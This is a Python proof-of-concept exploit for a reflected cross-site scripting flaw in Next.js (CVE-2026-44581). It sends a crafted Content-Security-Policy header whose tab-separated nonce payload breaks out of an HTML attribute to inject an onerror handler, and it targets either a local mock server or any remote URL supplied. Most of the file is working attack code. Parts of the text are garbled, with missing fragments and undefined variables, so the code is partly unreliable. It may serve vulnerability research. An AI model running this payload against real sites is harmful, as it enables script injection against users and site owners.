#!/usr/bin/env python3 # Disclaimer: For authorized security research and educational use only. # Do not use this tool on systems you do not own or have explicit written # permission to test. """ CVE-2026-44581 / GHSA-ffhc-5mcf-pf4q -- Next.js CSP-nonce reflected XSS exploit. The Next.js (<16.2.5) App Router renderer extracts the script `nonce` from a `Content-Security-Policy` request header and reflects it into: WITHOUT attribute-context escaping. A nonce like `" onerror="alert(1)` breaks out of the attribute and creates a free-standing onerror handler. Usage: python3 exploit.py # local mock + exploit python3 exploit.py http://target/path # remote target """ import os import signal import subprocess import sys import time import urllib.request class C: R = "\033[31m"; G = "\033[32m"; Y = "\033[33m"; CY = "\033[36m" B = "\033[1m"; X = "\033[0m" def banner(): print(C.CY + C.B + "=" * 65 + C.X) print(C.CY + C.B + " CVE-2026-44581 -- Next.js CSP-nonce reflected XSS" + C.X) print(C.CY + C.B + " Patched in 16.2.5 (commit b4c6705c70)" + C.X) print(C.CY + C.B + "=" * 65 + C.X) def maybe_start_mock(port: int = 8081): here = os.path.dirname(os.path.abspath(__file__)) server = os.path.join(here, "vulnerable-app", "server.py") proc = subprocess.Popen( [sys.executable, server, "--port", str(port)], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, preexec_fn=os.setsid, ) time.sleep(1.0) return proc def run(target: str | None) -> int: banner() proc = None if not target: print(C.Y + "[*] no target supplied -> launching local mock on :8081" + C.X) proc = maybe_start_mock(8081) target = "http://127.0.0.1:8081/" # The malformed CSP -- legacy parser uses .split(' ') so the source MUST NOT # contain a literal space (otherwise it splits into separate tokens and the # 'startsWith("'nonce-") && length > 8 && endsWith("\'")' predicate fails). # We use TAB (\t) as the inter-attribute whitespace -- HTML happily accepts # \t as an attribute separator, but JS's .split(' ') leaves the token intact. # ESCAPE_REGEX only matches [<>&\u2028\u2029] -- " and tab slip through. payload = '"\tonerror="alert(\'VALIDATION_TOKEN\')' csp = f"script-src 'nonce-{payload}'" print(f"{C.B}[*] Target:{C.X} {target}") print(f"{C.B}[*] CSP header:{C.X} {csp}\n") req = urllib.request.Request(target, headers={"Content-Security-Policy": csp}) try: with urllib.request.urlopen(req, timeout=10) as r: body = r.read().decode("utf-8", errors="replace") srv_mode = r.headers.get("X-Server-Mode", "?") reflected = r.headers.get("X-CSP-Nonce-Reflected", "?") except Exception as e: print(C.R + f"[-] request failed: {e}" + C.X) return 2 finally: if proc: try: os.killpg(os.getpgid(proc.pid), signal.SIGTERM) except ProcessLookupError: pass print(f"{C.B}[i] X-Server-Mode:{C.X} {srv_mode}") print(f"{C.B}[i] X-CSP-Nonce-Reflected:{C.X} {reflected}\n") print(C.B + "--- relevant response lines ---" + C.X) for line in body.splitlines(): if " reflected." + C.X) print(C.G + " onerror fires when the script element fails / is processed." + C.X) print() print(C.Y + "[i] Verify with verify_vulnerability (type=xss). Pass the URL +" + C.X) print(C.Y + " Content-Security-Policy: " + csp + C.X) return 0 if patched_needle in body: print(C.R + "[-] PATCHED -- htmlEscapeAttributeString visible (")." + C.X) return 1 if "nonce=" not in body: print(C.R + "[-] PATCHED -- strict regex rejected the malformed nonce; no nonce attribute emitted." + C.X) return 1 print(C.Y + "[?] inconclusive -- nonce present but breakout not found." + C.X) return 3 if __name__ == "__main__": sys.exit(run(sys.argv[1] if len(sys.argv) > 1 else None))